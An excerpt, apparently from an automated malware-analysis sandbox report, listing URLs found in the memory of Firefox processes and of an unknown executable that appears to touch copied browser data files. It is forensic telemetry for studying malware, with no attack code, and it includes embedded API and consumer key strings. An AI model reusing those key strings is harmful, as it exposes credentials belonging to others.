Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB6AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180unified-nav-back
Source: firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: cda9e1cbbc.exe, 00000013.00000003.2300685242.0000000022D68000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2574013937.0000000022CF0000.00000004.00000020.00020000.00000000.sdmp, KJDGDBFB.19.dr, Web Data.31.dr, KKKJKEBK.19.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: cda9e1cbbc.exe, 00000013.00000003.2300685242.0000000022D68000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2574013937.0000000022CF0000.00000004.00000020.00020000.00000000.sdmp, KJDGDBFB.19.dr, Web Data.31.dr, KKKJKEBK.19.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2220456983.000001F3FEF4A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2218571898.000001F3FED00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2221855699.000001F3FEF63000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733714551.000001F3FEA70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2219997763.000001F3FEF32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2496833578.000001F40043C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2228882591.000001F3FEF87000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2219728703.000001F3FEF1A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001C.00000002.2739459601.000001F3FF30A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2608969227.000001F3FAC51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.00000000026BF000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2574802271.0000000022DE0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC465000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2608969227.000001F3FACB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2542025432.0000020BC86C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B4F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: cda9e1cbbc.exe, 00000013.00000002.2542353391.00000000026BF000.00000004.00000020.00020000.00000000.sdmp, cda9e1cbbc.exe, 00000013.00000002.2574802271.0000000022DE0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC465000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2608969227.000001F3FACB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2542025432.0000020BC86C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B4F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001C.00000002.2764269512.000001F4018D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 0000001C.00000002.2767550763.000001F401A5E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/
Source: firefox.exe, 0000001C.00000002.2764269512.000001F4018D3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2642592159.000001F3FB5B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 0000001C.00000003.2518185756.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2758788296.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2515727535.000001F40119D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 0000001C.00000002.2767550763.000001F401A5E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733884773.000001F3FEB11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/report-to/youtube_main
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000001C.00000002.2760366167.000001F40137E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTab
Source: firefox.exe, 0000001C.00000003.2435548375.000001F40138E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760366167.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40139D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabMozRequestFullSc
Source: firefox.exe, 0000001C.00000002.2742498029.000001F3FF6C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabPlease
Source: firefox.exe, 0000001C.00000002.2760366167.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40139D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 0000001C.00000002.2742498029.000001F3FF6C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureOffscreenCanvas.toBlob()
Source: firefox.exe, 0000001C.00000002.2742498029.000001F3FF6C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest
Source: firefox.exe, 0000001C.00000002.2760366167.000001F40137E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCapture
Source: firefox.exe, 0000001C.00000003.2435548375.000001F40138E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760366167.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40139D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureElementReleaseCaptureWarning
Source: firefox.exe, 0000001C.00000002.2742498029.000001F3FF6C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureInstallTrigger.install()
Source: firefox.exe, 0000001C.00000002.2760366167.000001F40137E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryption
Source: firefox.exe, 0000001C.00000003.2435548375.000001F40138E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760366167.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40139D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#EncryptionPreventDefaultFromP
Source: firefox.exe, 0000001C.00000002.2742498029.000001F3FF6C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsTre
Source: firefox.exe, 0000001C.00000002.2760366167.000001F40137E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing
Source: firefox.exe, 0000001C.00000003.2435548375.000001F40138E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760366167.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40138F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingDocumentWriteIgnored
Source: firefox.exe, 0000001C.00000002.2742498029.000001F3FF6C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying
Source: firefox.exe, 0000001C.00000002.2751785855.000001F400274000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIEffectiveTLDServi
Source: firefox.exe, 0000001C.00000003.2518185756.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2758788296.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2515727535.000001F40119D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 0000001C.00000003.2518185756.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2758788296.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2515727535.000001F40119D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 0000001C.00000003.2518185756.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2758788296.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2515727535.000001F40119D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000001C.00000002.2767550763.000001F401A5E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2221855699.000001F3FEF63000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733714551.000001F3FEA70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2219997763.000001F3FEF32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2494349340.000001F4004D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2754098270.000001F4004BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2219728703.000001F3FEF1A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: cda9e1cbbc.exe, 00000013.00000003.2300685242.0000000022D68000.00000004.00000020.00020000.00000000.sdmp, KJDGDBFB.19.dr, Web Data.31.dr, KKKJKEBK.19.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: cda9e1cbbc.exe, 00000013.00000003.2300685242.0000000022D68000.00000004.00000020.00020000.00000000.sdmp, KJDGDBFB.19.dr, Web Data.31.dr, KKKJKEBK.19.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: cda9e1cbbc.exe, 00000013.00000003.2300685242.0000000022D68000.00000004.00000020.00020000.00000000.sdmp, KJDGDBFB.19.dr, Web Data.31.dr, KKKJKEBK.19.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001C.00000002.2733714551.000001F3FEA70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2233253153.000001F3FCF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2365854701.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2231723906.000001F3FCF22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2722826214.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2324432364.000001F3FCF12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2475890033.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2359351126.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2345760153.000001F3FCF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2231077539.000001F3FCF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2629382433.000001F3FB27D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB89000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2233253153.000001F3FCF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2365854701.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2231723906.000001F3FCF22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2722826214.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2324432364.000001F3FCF12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2475890033.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2359351126.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2345760153.000001F3FCF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2231077539.000001F3FCF33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%sMust
Source: firefox.exe, 0000001C.00000002.2760366167.000001F40137E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2435548375.000001F40138E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760366167.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40139D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: firefox.exe, 0000001C.00000002.2742498029.000001F3FF6C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/initMouseEvent()
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2735797926.000001F3FED79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B45F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/74f06853-c80d-4afc-9b2
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000001C.00000002.2742328962.000001F3FF690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760366167.000001F401303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsgetEl
Source: firefox.exe, 0000001C.00000002.2771088874.000001F401DB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEBA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/ms-language-packs/records/
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordsgetEl
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2742790289.000001F3FF74E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/monitor/collections/changes/changeset?colle
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5DovoFailed
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF58F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC45A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2735797926.000001F3FED79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B45F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B412000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB6E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2612092313.000001F3FADBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B4CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB6E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2612092313.000001F3FADBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B4CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB6E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B42F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B45F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC421000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC421000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC421000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC421000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
